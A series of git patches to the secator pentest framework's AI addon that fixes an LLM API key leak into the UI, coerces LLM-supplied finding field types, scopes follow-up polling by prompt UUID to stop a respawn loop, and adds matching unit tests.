-319,6 +320,78 @@ def test_run_runner_uses_ctx_targets_as_default(self): self.assertIn('default.com', results[0].message) + @patch('secator.ai.actions.TemplateLoader') + @patch('secator.ai.actions.Task') + @patch('secator.ai.actions._build_hooks_from_context') + def test_run_runner_propagates_hooks_and_emits_runner_id(self, mock_build_hooks, mock_task_cls, _mock_tpl): + """Sub-runner must receive driver hooks (so its results persist) and the + emitted action Ai must carry the created runner's id + type for the UI.""" + sentinel_hooks = {'fake': ['hook']} + mock_build_hooks.return_value = sentinel_hooks + + # Fake runner: an iterable whose id is populated (mimics on_init stamping it) + mock_runner = MagicMock() + mock_runner.id = 'runner123' + mock_runner.reports_folder = None + mock_runner.__iter__.return_value = iter([]) + mock_task_cls.return_value = mock_runner + + ctx = ActionContext( + targets=['t.com'], model='m', + context={'workspace_id': 'ws1', 'drivers': ['mongodb']}, + ) + action = {'action': 'task', 'name': 'nmap', 'targets': ['10.0.0.1']} + + results = list(_run_runner(action, ctx, 'task')) + + # Runner constructed with hooks= from the context drivers + _, kwargs = mock_task_cls.call_args + self.assertEqual(kwargs.get('hooks'), sentinel_hooks) + self.assertEqual(kwargs.get('context', {}).get('workspace_id'), 'ws1') + + # Action Ai item carries runner_id + runner_type + ai_items = [r for r in results if isinstance(r, Ai) and r.ai_type == 'task'] + self.assertEqual(len(ai_items), 1) + self.assertEqual(ai_items[0].extra_data.get('runner_id'), 'runner123') + self.assertEqual(ai_items[0].extra_data.get('runner_type'), 'task') + + +@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') +class TestBuildHooksFromContext(unittest.TestCase): + """Tests for _build_hooks_from_context (driver name -> hooks dict).""" + + def test_no_drivers_returns_empty(self): + self.assertEqual(_build_hooks_from_context({}), {}) + self.assertEqual(_build_hooks_from_context({'drivers': []}), {}) + + @patch('secator.loader.get_available_drivers') + @patch('secator.loader.order_drivers') + @patch('secator.loader.discover_external_drivers') + @patch('secator.utils.import_dynamic') + def test_builds_hooks_from_driver_names(self, mock_import, _disc, mock_order, mock_avail): + from secator.runners import Task + mock_order.side_effect = lambda d: d + mock_avail.return_value = ['mongodb', 'api'] + mongo_hooks = {Task: {'on_init': ['update_runner']}} + mock_import.return_value = mongo_hooks + + hooks = _build_hooks_from_context({'drivers': ['mongodb']}) + + mock_import.assert_called_once_with('secator.hooks.mongodb', 'HOOKS') + self.assertIn(Task, hooks) + self.assertIn('on_init', hooks[Task]) + + @patch('secator.loader.get_available_drivers') + @patch('secator.loader.order_drivers') + @patch('secator.loader.discover_external_drivers') + @patch('secator.utils.import_dynamic') + def test_skips_unsupported_driver(self, mock_import, _disc, mock_order, mock_avail): + mock_order.side_effect = lambda d: d + mock_avail.return_value = ['mongodb'] + hooks = _build_hooks_from_context({'drivers': ['bogus']}) + self.assertEqual(hooks, {}) + mock_import.assert_not_called() + @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestGetQueryEngine(unittest.TestCase): From e3e9fad482d88045c2e8522c0b30c9c96bf13119 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 17:16:26 +0200 Subject: [PATCH 029/129] fix(ai): mark api_key/api_base internal so the LLM key is never UI-exposed (CRITICAL) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The `ai` task exposed `api_key` (default = CONFIG.addons.ai.api_key) as a public task option, so secator-api served the platform's LLM API key pre-filled in the Runner Create form — visible to every user. Mark api_key + api_base internal; the task already reads them from CONFIG.addons.ai at runtime, so behavior is unchanged but they no longer appear as config parameters. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/tasks/ai.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 242a900e5..aa28b439b 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -44,8 +44,11 @@ class ai(PythonRunner): "prompt": {"type": str, "default": "", "short": "p", "help": "Prompt"}, "mode": {"type": str, "default": "", "help": "Mode: attack or chat"}, "model": {"type": str, "default": CONFIG.addons.ai.default_model, "help": "LLM model"}, - "api_key": {"type": str, "default": DEFAULT_API_KEY, "help": "API key for LLM provider"}, - "api_base": {"type": str, "default": CONFIG.addons.ai.api_base, "help": "API base URL"}, + # internal: never surface the LLM key/endpoint as a UI/CLI option — the + # task reads them from CONFIG.addons.ai at runtime. Exposing them served + # the platform's API key (the default) to every user in the runner form. + "api_key": {"type": str, "default": DEFAULT_API_KEY, "internal": True, "help": "API key for LLM provider"}, + "api_base": {"type": str, "default": CONFIG.addons.ai.api_base, "internal": True, "help": "API base URL"}, "sensitive": {"is_flag": True, "default": True, "help": "Encrypt sensitive data"}, "max_iterations": {"type": int, "default": 10, "help": "Max iterations"}, "temperature": {"type": float, "default": 0.7, "help": "LLM temperature"}, From 29faec66ad3051be1c91e2d6b82a663028a5b7e4 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 17:19:52 +0200 Subject: [PATCH 030/129] fix(ai): resolve LLM key from CONFIG at runtime, not as an opt default (CRITICAL) secator-api serves task opts (including defaults) to the UI, so setting the api_key/api_base opt `default` to a CONFIG value leaked the platform's LLM API key into the Runner Create form for every user. Default these opts to empty and fall back to CONFIG.addons.ai.{api_key,api_base} at runtime (`api_key = passed or CONFIG.addons.ai.api_key`). Supersedes the earlier `internal` approach. No secret is ever a task-option default now. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/tasks/ai.py | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index aa28b439b..8d4999948 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -29,8 +29,6 @@ from secator.ai.utils import call_llm, init_llm, setup_ai, format_llm_status -DEFAULT_API_KEY = CONFIG.addons.ai.api_key - @task() class ai(PythonRunner): @@ -44,11 +42,13 @@ class ai(PythonRunner): "prompt": {"type": str, "default": "", "short": "p", "help": "Prompt"}, "mode": {"type": str, "default": "", "help": "Mode: attack or chat"}, "model": {"type": str, "default": CONFIG.addons.ai.default_model, "help": "LLM model"}, - # internal: never surface the LLM key/endpoint as a UI/CLI option — the - # task reads them from CONFIG.addons.ai at runtime. Exposing them served - # the platform's API key (the default) to every user in the runner form. - "api_key": {"type": str, "default": DEFAULT_API_KEY, "internal": True, "help": "API key for LLM provider"}, - "api_base": {"type": str, "default": CONFIG.addons.ai.api_base, "internal": True, "help": "API base URL"}, + # Never set a secret/CONFIG value as a task-option `default`: secator-api + # serves task opts (including defaults) to the UI, so a CONFIG default + # would leak the platform's LLM API key into the runner form. Default to + # empty; the task falls back to CONFIG.addons.ai.* at runtime in + # _init_options (api_key = passed or CONFIG.addons.ai.api_key). + "api_key": {"type": str, "default": "", "help": "API key for LLM provider (defaults to configured key)"}, + "api_base": {"type": str, "default": "", "help": "API base URL (defaults to configured base)"}, "sensitive": {"is_flag": True, "default": True, "help": "Encrypt sensitive data"}, "max_iterations": {"type": int, "default": 10, "help": "Max iterations"}, "temperature": {"type": float, "default": 0.7, "help": "LLM temperature"}, @@ -509,8 +509,8 @@ def _init_options(self): self.is_subagent = self.get_opt_value("subagent") self.model = self.get_opt_value("model") self.intent_model = self.get_opt_value("intent_model") - self.api_base = self.get_opt_value("api_base") - self.api_key = self.get_opt_value("api_key") + self.api_base = self.get_opt_value("api_base") or CONFIG.addons.ai.api_base + self.api_key = self.get_opt_value("api_key") or CONFIG.addons.ai.api_key self.sensitive = self.get_opt_value("sensitive") self.mode = self.get_opt_value("mode") self.max_tokens_total = self.get_opt_value("max_tokens_total") From b9f9500d8f727f59f27d8b46b79ee09cb7e2c6d0 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 17:35:35 +0200 Subject: [PATCH 031/129] feat(ai): stamp created finding on add_finding action item (extra_data.finding) So the web UI can render the finding's FindingCard (VulnerabilityCard/etc.) for an add_finding action. The finding is serialized (toDict, includes _type for routing). Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/actions.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index aa46f6009..7de178137 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -593,6 +593,9 @@ def _handle_add_finding(action: Dict, ctx: ActionContext) -> Generator: yield Ai( content=f'{str(finding)}', ai_type="add_finding", + # Carry the created finding so the web UI can render its FindingCard + # (VulnerabilityCard/SubdomainCard/…) — it routes on `_type`. + extra_data={"finding": finding.toDict()}, _context=context ) yield finding From 144deccb4567ce404d6095f8aa62eda249e29841 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 18:36:45 +0200 Subject: [PATCH 032/129] fix(ai): coerce add_finding scalars to declared field types before validation LLMs frequently emit wrong-typed scalars in add_finding (a bool field as the string "true", an int as "3"), which validate_fields then rejected, dropping the finding. Add _coerce_finding_fields(cls, data), called before validate_fields, that fixes obvious type mismatches (bool/int/float/list) while leaving valid values, unknown keys, and unparseable values untouched so real errors still surface. Field type resolution is robust to both actual-type and string annotations (from __future__ import annotations), mirroring validate_fields. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/actions.py | 104 ++++++++++++++++++++++++++++++++++ tests/unit/test_ai_actions.py | 73 +++++++++++++++++++++++- 2 files changed, 176 insertions(+), 1 deletion(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 7de178137..a9c2c2b10 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -528,6 +528,106 @@ def _handle_stop(action: Dict, ctx: ActionContext) -> Generator: yield Ai(content=reason, ai_type="stopped", _context=context) +def _resolve_field_type(f) -> Optional[type]: + """Resolve a dataclass field's declared type to a concrete builtin type. + + Mirrors ``OutputType.validate_fields``: ``f.type`` may be an actual type + (``bool``) or — under ``from __future__ import annotations`` — a string + annotation (``'bool'``). Returns the concrete type (``bool``/``int``/ + ``float``/``list``/``dict``/``str``) or ``None`` if it can't be resolved. + """ + t = f.type + # Actual type, e.g. bool / int / float / str + if isinstance(t, type): + return t + # Typing generic, e.g. List[str] -> list + origin = getattr(t, '__origin__', None) + if origin is not None: + return origin + # String annotation, e.g. 'bool', 'int', "List[str]" + if isinstance(t, str): + name = t.split('[', 1)[0].strip().lower() + return { + 'bool': bool, 'int': int, 'float': float, + 'str': str, 'list': list, 'dict': dict, + }.get(name) + return None + + +def _coerce_finding_fields(cls, data: Dict) -> Dict: + """Coerce AI-provided scalar values to a finding class's declared field types. + + LLMs frequently emit wrong-typed scalars (a ``bool`` field as the string + ``"true"``, an ``int`` as ``"3"``). This fixes *obvious* type mismatches + before validation so the finding isn't rejected for model type sloppiness. + + Only coerces when safe; unknown keys, already-correct values, and + unparseable values are left untouched (validation will still surface a real + error rather than silently dropping data). + """ + field_types = {f.name: _resolve_field_type(f) for f in fields(cls)} + for key, value in list(data.items()): + if key.startswith('_'): + continue + expected = field_types.get(key) + if expected is None or value is None: + continue + # Already the right type (note: bool is a subclass of int, so guard it). + if isinstance(value, expected) and not (expected is int and isinstance(value, bool)): + continue + + if expected is bool: + if isinstance(value, bool): + continue + if isinstance(value, int): + data[key] = bool(value) + elif isinstance(value, str): + s = value.strip().lower() + if s in ('true', '1', 'yes', 'on'): + data[key] = True + elif s in ('false', '0', 'no', 'off', ''): + data[key] = False + elif expected is int: + # Avoid coercing real bools into ints. + if isinstance(value, bool): + continue + if isinstance(value, float): + if value.is_integer(): + data[key] = int(value) + elif isinstance(value, str): + try: + data[key] = int(value) + except ValueError: + try: + f_val = float(value) + if f_val.is_integer(): + data[key] = int(f_val) + except ValueError: + pass + elif expected is float: + if isinstance(value, bool): + continue + if isinstance(value, int): + data[key] = float(value) + elif isinstance(value, str): + try: + data[key] = float(value) + except ValueError: + pass + elif expected is list: + if isinstance(value, str): + s = value.strip() + if s.startswith('['): + try: + parsed = json.loads(s) + if isinstance(parsed, list): + data[key] = parsed + except (json.JSONDecodeError, TypeError): + pass + # str fields: leave as-is (don't stringify); unknown types: leave untouched. + return data + + def _handle_add_finding(action: Dict, ctx: ActionContext) -> Generator: """Create a secator finding from LLM-provided data. @@ -581,6 +681,10 @@ def _handle_add_finding(action: Dict, ctx: ActionContext) -> Generator: extra.update(unknown) finding_data['extra_data'] = extra + # Coerce AI-provided scalars to declared field types (LLMs send wrong-typed + # scalars, e.g. a bool field as the string "true") before validating. + finding_data = _coerce_finding_fields(cls, finding_data) + # Validate field types before instantiation errors = cls.validate_fields(finding_data) if errors: diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 4449f8c47..1b351fdfb 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -10,7 +10,7 @@ from secator.ai.actions import ( ActionContext, dispatch_action, _handle_follow_up, _handle_shell, _handle_query, _handle_add_finding, _run_runner, _decrypt_dict, - _build_hooks_from_context + _build_hooks_from_context, _coerce_finding_fields ) from secator.output_types import Ai, Error, Info, Warning, Vulnerability, Url @@ -723,6 +723,77 @@ def test_add_finding_decrypts_values(self): self.assertIsInstance(results[1], Vulnerability) self.assertEqual(results[1].matched_at, 'http://t.com/search') + def test_coerce_finding_fields_scalar_types(self): + # LLMs send wrong-typed scalars (bool as "true", float/int as strings). + # The coercion helper fixes them to the declared field types. + data = _coerce_finding_fields( + Vulnerability, + { + 'name': 'SQL Injection', + 'verified': 'true', + 'cvss_score': '7.5', + 'severity_nb': '3', + }, + ) + self.assertIs(data['verified'], True) + self.assertIsInstance(data['verified'], bool) + self.assertEqual(data['cvss_score'], 7.5) + self.assertIsInstance(data['cvss_score'], float) + self.assertEqual(data['severity_nb'], 3) + self.assertIsInstance(data['severity_nb'], int) + # str fields are left untouched. + self.assertEqual(data['name'], 'SQL Injection') + # Coerced data validates clean. + self.assertEqual(Vulnerability.validate_fields(data), []) + + def test_add_finding_coerces_scalar_types(self): + # End-to-end: wrong-typed scalars flow through the handler and validate + # clean, producing a Vulnerability with the coerced bool/float values. + ctx = ActionContext(targets=['t.com'], model='m') + results = list( + _handle_add_finding( + { + 'action': 'add_finding', + '_type': 'vulnerability', + 'name': 'SQL Injection', + 'matched_at': 'http://t.com/login', + 'verified': 'true', + 'cvss_score': '7.5', + 'severity_nb': '3', + }, + ctx, + ) + ) + + # No validation Error: the sloppy types were coerced before validation. + self.assertEqual(len(results), 2) + vuln = results[1] + self.assertIsInstance(vuln, Vulnerability) + self.assertIs(vuln.verified, True) + self.assertIsInstance(vuln.verified, bool) + self.assertEqual(vuln.cvss_score, 7.5) + self.assertIsInstance(vuln.cvss_score, float) + + def test_add_finding_unparseable_bool_surfaces_error(self): + # An unparseable value must NOT be silently dropped; validation reports it. + ctx = ActionContext(targets=['t.com'], model='m') + results = list( + _handle_add_finding( + { + 'action': 'add_finding', + '_type': 'vulnerability', + 'name': 'SQL Injection', + 'matched_at': 'http://t.com/login', + 'verified': 'maybe', + }, + ctx, + ) + ) + + self.assertEqual(len(results), 1) + self.assertIsInstance(results[0], Error) + self.assertIn('verified', results[0].message) + @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestRunBatch(unittest.TestCase): From 389e17ed83e8a9ee6c8fe09b498d98295399c1a6 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 18:38:35 +0200 Subject: [PATCH 033/129] fix(ai): stamp persisted runner id ({type}_id) on action item, not runner.id MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The UI's getRunner queries the persisted runner doc by its _id, which equals context.{type}_id (stamped by the on_init mongodb hook) — not runner.id (secator's internal id). So the RunnerCard showed "Runner not found" for ai-dispatched sub-runners even though they appear in History. Prefer the context id. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/actions.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index a9c2c2b10..e503957ca 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -378,7 +378,11 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator # Emit even when silent (batch mode): silent only suppresses live console # chatter, but the action doc must still be yielded so it is persisted and # the UI can render a RunnerCard for it. - runner_id = runner.id or context.get(f"{runner_type}_id", "") + # Prefer the context id (`{type}_id`) the on_init hook stamped — that IS the + # persisted runner doc's `_id`, which is what the UI's getRunner queries. + # `runner.id` is secator's internal id and does NOT match the persisted doc, + # so the RunnerCard showed "Runner not found". + runner_id = context.get(f"{runner_type}_id", "") or runner.id yield Ai( content=name, ai_type=runner_type, From 4b1aa0f8d79247fffa8b67ea762f2aee0f5f41c5 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 18:52:22 +0200 Subject: [PATCH 034/129] fix(ai): scope remote follow_up poll to its own prompt to stop respawn loop RemoteBackend._poll_for_answer matched ANY answered follow_up doc in the session ({_type:"ai", ai_type:"follow_up", _context.session_id, status: "answered"}, limit:1, no sort). Across a multi-turn chat, previously answered follow_up docs accumulate, so the poll for a NEW follow_up immediately matched a STALE answered doc from a prior turn and returned its old answer. The loop then set that old answer as self.prompt, re-yielded Ai(ai_type="prompt") (the original prompt reappears), re-ran the whole turn, asked the follow_up again, re-matched the same stale doc -> an infinite respawn that re-runs scans and burns tokens. (On the very first turn with no prior answered docs it instead timed out cleanly, masking the deeper stale-match bug.) Fix: correlate the poll AND the timeout update to the SPECIFIC pending doc the worker is blocked on. A unique prompt_uuid is stamped into the pending follow_up's extra_data before persist and threaded _dispatch_and_collect -> _run_loop -> _prompt_and_redetect -> ask_user -> _poll_for_answer, which now filters on extra_data.prompt_uuid. A timeout flips only that doc to timed_out. The turn ends cleanly and nothing re-dispatches until the user explicitly sends a new message. The secator-ui AiChatPanel side was investigated and is clean: spawn() is only called from the explicit user send(); there is no watch/effect that re-spawns on done/timed_out. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/interactivity.py | 44 ++++++++++++++++++++--------- secator/tasks/ai.py | 28 ++++++++++++++++-- tests/unit/test_ai_interactivity.py | 40 ++++++++++++++++++++++++++ 3 files changed, 95 insertions(+), 17 deletions(-) diff --git a/secator/ai/interactivity.py b/secator/ai/interactivity.py index 98c2d7d5d..0610251b2 100644 --- a/secator/ai/interactivity.py +++ b/secator/ai/interactivity.py @@ -119,7 +119,7 @@ def build_pending_prompt(self, question, choices, session_id, prompt_type="follo ) def ask_user(self, question, choices, session_id, prompt_type="follow_up", **context): - answer = self._poll_for_answer(session_id, prompt_type) + answer = self._poll_for_answer(session_id, prompt_type, prompt_uuid=context.get("prompt_uuid")) if answer is None: return None @@ -135,26 +135,42 @@ def ask_user(self, question, choices, session_id, prompt_type="follow_up", **con # follow_up: return the answer text return {"answer": answer} - def _poll_for_answer(self, session_id, prompt_type): - """Poll DB for user answer until timeout.""" + def _poll_for_answer(self, session_id, prompt_type, prompt_uuid=None): + """Poll DB for the answer to the SPECIFIC pending prompt until timeout. + + The query MUST be scoped to the exact prompt the worker is currently + blocked on — identified by ``prompt_uuid`` (stamped into the pending doc's + ``extra_data.prompt_uuid`` before it was persisted). Matching only on + ``{session_id, status:"answered"}`` is a bug: a multi-turn conversation + accumulates *previously* answered follow-up docs, so an unscoped query + returns a STALE answer immediately, the worker re-injects that old answer + as a brand-new prompt, re-runs the whole turn, asks again, re-matches the + same stale doc — an infinite respawn loop that re-runs scans and burns + tokens. Scoping on ``prompt_uuid`` makes the poll resolve only THIS + prompt's own answer (and time out only THIS prompt's doc). + """ + base = { + "_type": "ai", + "ai_type": prompt_type, + # Correlate by the runner context's session_id: it's auto-stamped on + # every persisted item (item._context = self.context), so it's always + # present — unlike the top-level session_id field. + "_context.session_id": session_id, + } + if prompt_uuid: + base["extra_data.prompt_uuid"] = prompt_uuid + elapsed = 0 while elapsed < self.timeout: - results = self.query_engine.search({ - "_type": "ai", - "ai_type": prompt_type, - # Correlate by the runner context's session_id: it's auto-stamped on - # every persisted item (item._context = self.context), so it's always - # present — unlike the top-level session_id field. - "_context.session_id": session_id, - "status": "answered" - }, limit=1) + results = self.query_engine.search({**base, "status": "answered"}, limit=1) if results: return results[0].get("answer") sleep(self.poll_interval) elapsed += self.poll_interval - # Timeout: update finding status + # Timeout: flip ONLY this prompt's still-pending doc to timed_out, so a + # concurrent/older pending doc for the same session isn't disturbed. self.query_engine.update( - {"_type": "ai", "ai_type": prompt_type, "_context.session_id": session_id, "status": "pending"}, + {**base, "status": "pending"}, {"$set": {"status": "timed_out"}} ) return None diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 242a900e5..3d7423426 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -1,6 +1,7 @@ # secator/tasks/ai.py """AI-powered penetration testing task.""" import json +import uuid from itertools import groupby from pathlib import Path from time import sleep @@ -408,6 +409,7 @@ def _run_loop(self) -> Generator: follow_up_choices = None stop_reason = None follow_up_ai = None + follow_up_prompt_uuid = None if tool_calls: actions = yield from self._process_tool_calls(tool_calls, ctx) @@ -424,6 +426,7 @@ def _run_loop(self) -> Generator: follow_up_choices = dispatch_result.get("follow_up_choices") stop_reason = dispatch_result.get("stop_reason") follow_up_ai = dispatch_result.get("follow_up_ai") + follow_up_prompt_uuid = dispatch_result.get("follow_up_prompt_uuid") if len(actions) > 1: yield Info(message=f"Executed {len(actions)} actions.") @@ -446,7 +449,7 @@ def _run_loop(self) -> Generator: # only happen once). Nothing to re-yield here — the frontend reads the # persisted doc. - result = self._prompt_and_redetect(follow_up_choices or []) + result = self._prompt_and_redetect(follow_up_choices or [], prompt_uuid=follow_up_prompt_uuid) if result is None: self._save_history() return @@ -798,6 +801,7 @@ def _dispatch_and_collect(self, actions, ctx): follow_up_choices = None stop_reason = None follow_up_ai = None + follow_up_prompt_uuid = None is_batch = len(actions) > 1 action_iter = _run_batch(actions, ctx) if is_batch else dispatch_action(actions[0], ctx) @@ -825,6 +829,14 @@ def _dispatch_and_collect(self, actions, ctx): follow_up_ai.session_id = self.session_id if not follow_up_ai.choices and follow_up_choices: follow_up_ai.choices = list(follow_up_choices) + # Stamp a unique correlation id so the poll resolves ONLY this + # prompt's own answer (not a stale answered follow_up from a + # prior turn, which would loop). Generated here (not reusing + # _uuid, which mongo may reassign to its _id on insert) and + # persisted in extra_data so it round-trips on read. + follow_up_prompt_uuid = str(uuid.uuid4()) + follow_up_ai.extra_data = { + **(follow_up_ai.extra_data or {}), "prompt_uuid": follow_up_prompt_uuid} self.add_result(result, print=not is_from_subagent) continue self.add_result(result, print=not is_from_subagent) @@ -869,7 +881,12 @@ def _dispatch_and_collect(self, actions, ctx): tool_result_str = maybe_encrypt(tool_result_str, self.encryptor) self.history.add_tool_result(tc_name, tc_id, tool_result_str) - return {"follow_up_choices": follow_up_choices, "stop_reason": stop_reason, "follow_up_ai": follow_up_ai} + return { + "follow_up_choices": follow_up_choices, + "stop_reason": stop_reason, + "follow_up_ai": follow_up_ai, + "follow_up_prompt_uuid": follow_up_prompt_uuid, + } # ------------------------------------------------------------------------- # History helpers @@ -897,12 +914,16 @@ def _add_assistant_to_history(self, content, tool_calls): # Follow-up / prompt # ------------------------------------------------------------------------- - def _prompt_and_redetect(self, choices): + def _prompt_and_redetect(self, choices, prompt_uuid=None): """Prompt user via backend and re-detect intent. Works for all backends: CLIBackend shows rich menus, RemoteBackend polls DB, AutoBackend returns None (exits). + ``prompt_uuid`` correlates the (remote) poll to the SPECIFIC pending + follow_up doc this call raised, so a stale answered follow_up from a prior + turn can't resolve it (which would re-inject the old prompt and loop). + Returns list of items to yield, or None to exit. """ response = self.backend.ask_user( @@ -915,6 +936,7 @@ def _prompt_and_redetect(self, choices): max_iterations=self.max_iterations, mode=self.mode, model=self.model, + prompt_uuid=prompt_uuid, ) if response is None: return None diff --git a/tests/unit/test_ai_interactivity.py b/tests/unit/test_ai_interactivity.py index 6060c5f16..8a1117ce5 100644 --- a/tests/unit/test_ai_interactivity.py +++ b/tests/unit/test_ai_interactivity.py @@ -100,6 +100,46 @@ def test_ask_user_polls_until_timeout(self, mock_sleep): # Should have called update to set timed_out mock_engine.update.assert_called_once() + def test_poll_scopes_query_to_prompt_uuid(self): + """The poll must correlate on the specific prompt's uuid. + + Regression test for the infinite-respawn loop: without scoping on + prompt_uuid, a stale answered follow_up from a prior turn resolves the + current wait immediately, the worker re-injects that old answer as a new + prompt and re-runs the turn forever. The query MUST include + extra_data.prompt_uuid so only THIS prompt's own answer resolves it. + """ + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + mock_engine.search.return_value = [{"answer": "the right answer"}] + backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + + result = backend.ask_user("What next?", [], "session1", prompt_uuid="abc-123") + + self.assertEqual(result["answer"], "the right answer") + # The search query must be scoped to this prompt's uuid (else a stale + # answered follow_up from a prior turn would match -> loop). + search_query = mock_engine.search.call_args[0][0] + self.assertEqual(search_query.get("extra_data.prompt_uuid"), "abc-123") + self.assertEqual(search_query.get("status"), "answered") + + @patch('secator.ai.interactivity.sleep') + def test_timeout_update_scoped_to_prompt_uuid(self, mock_sleep): + """On timeout, only THIS prompt's pending doc is flipped to timed_out.""" + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + mock_engine.search.return_value = [] # never answered + mock_engine.update = MagicMock() + backend = RemoteBackend(timeout=5, query_engine=mock_engine, poll_interval=5) + + result = backend.ask_user("What next?", [], "session1", prompt_uuid="abc-123") + + self.assertIsNone(result) + mock_engine.update.assert_called_once() + update_query = mock_engine.update.call_args[0][0] + self.assertEqual(update_query.get("extra_data.prompt_uuid"), "abc-123") + self.assertEqual(update_query.get("status"), "pending") + @patch('secator.ai.interactivity.sleep') def test_ask_user_returns_on_second_poll(self, mock_sleep): from secator.ai.interactivity import RemoteBackend From e6db71e8735b387b8f6dc801af4cd7be9dfeb199 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 19:15:59 +0200 Subject: [PATCH 035/129] feat(ai): stamp conversation session_id onto AI-spawned sub-runners AI-spawned sub-runners (task/workflow/scan) need context.session_id set so their persisted runner docs are queryable by conversation. The ai task's session_id is often derived (from session_name / the runner id) and is not guaranteed to live in self.context, so sub-runners did NOT carry it. Stamp it in _get_result_context from ActionContext.session_id (without overwriting an existing one). Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/actions.py | 17 +++++++++-- tests/unit/test_ai_actions.py | 54 +++++++++++++++++++++++++++++++++++ 2 files changed, 68 insertions(+), 3 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index e503957ca..03a117edd 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -404,15 +404,26 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator def _get_result_context(action, ctx): - """Get result context from action""" - ctx = ctx.context.copy() + """Get result context from action. + + Always stamps the ai task's ``session_id`` (the conversation id) onto the + derived context. The ai task's ``self.session_id`` may be derived (from + ``session_name`` / the runner id) and is therefore not guaranteed to already + live in ``ctx.context``. Stamping it here means every sub-runner (task / + workflow / scan) dispatched by the ai task persists a runner doc whose + ``context.session_id`` matches the conversation — so the runners spawned by a + conversation are queryable by that conversation's session_id. + """ + new_ctx = ctx.context.copy() + if ctx.session_id and not new_ctx.get("session_id"): + new_ctx["session_id"] = ctx.session_id action_context = {} tool_call_id = action.get("tool_call_id") tool_call_name = action.get("tool_call_name") if tool_call_id: action_context["tool_call_id"] = tool_call_id action_context["tool_call_name"] = tool_call_name - return {**ctx, **action_context} + return {**new_ctx, **action_context} def _handle_task(action: Dict, ctx: ActionContext) -> Generator: diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 1b351fdfb..735867076 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -355,6 +355,60 @@ def test_run_runner_propagates_hooks_and_emits_runner_id(self, mock_build_hooks, self.assertEqual(ai_items[0].extra_data.get('runner_id'), 'runner123') self.assertEqual(ai_items[0].extra_data.get('runner_type'), 'task') + @patch('secator.ai.actions.TemplateLoader') + @patch('secator.ai.actions.Task') + @patch('secator.ai.actions._build_hooks_from_context') + def test_run_runner_propagates_session_id(self, mock_build_hooks, mock_task_cls, _mock_tpl): + """The dispatched sub-runner's context must carry the ai task's session_id + (the conversation id) so its persisted runner doc is queryable by the + conversation. session_id may be derived (not already in ctx.context), so + it must be stamped from ctx.session_id.""" + mock_build_hooks.return_value = {} + mock_runner = MagicMock() + mock_runner.id = 'runner123' + mock_runner.reports_folder = None + mock_runner.__iter__.return_value = iter([]) + mock_task_cls.return_value = mock_runner + + # session_id lives on the ActionContext but NOT in context (it is derived) + ctx = ActionContext( + targets=['t.com'], model='m', + context={'workspace_id': 'ws1', 'drivers': ['mongodb']}, + session_id='conv-abc-123', + ) + action = {'action': 'task', 'name': 'nmap', 'targets': ['10.0.0.1']} + + list(_run_runner(action, ctx, 'task')) + + _, kwargs = mock_task_cls.call_args + sub_context = kwargs.get('context', {}) + 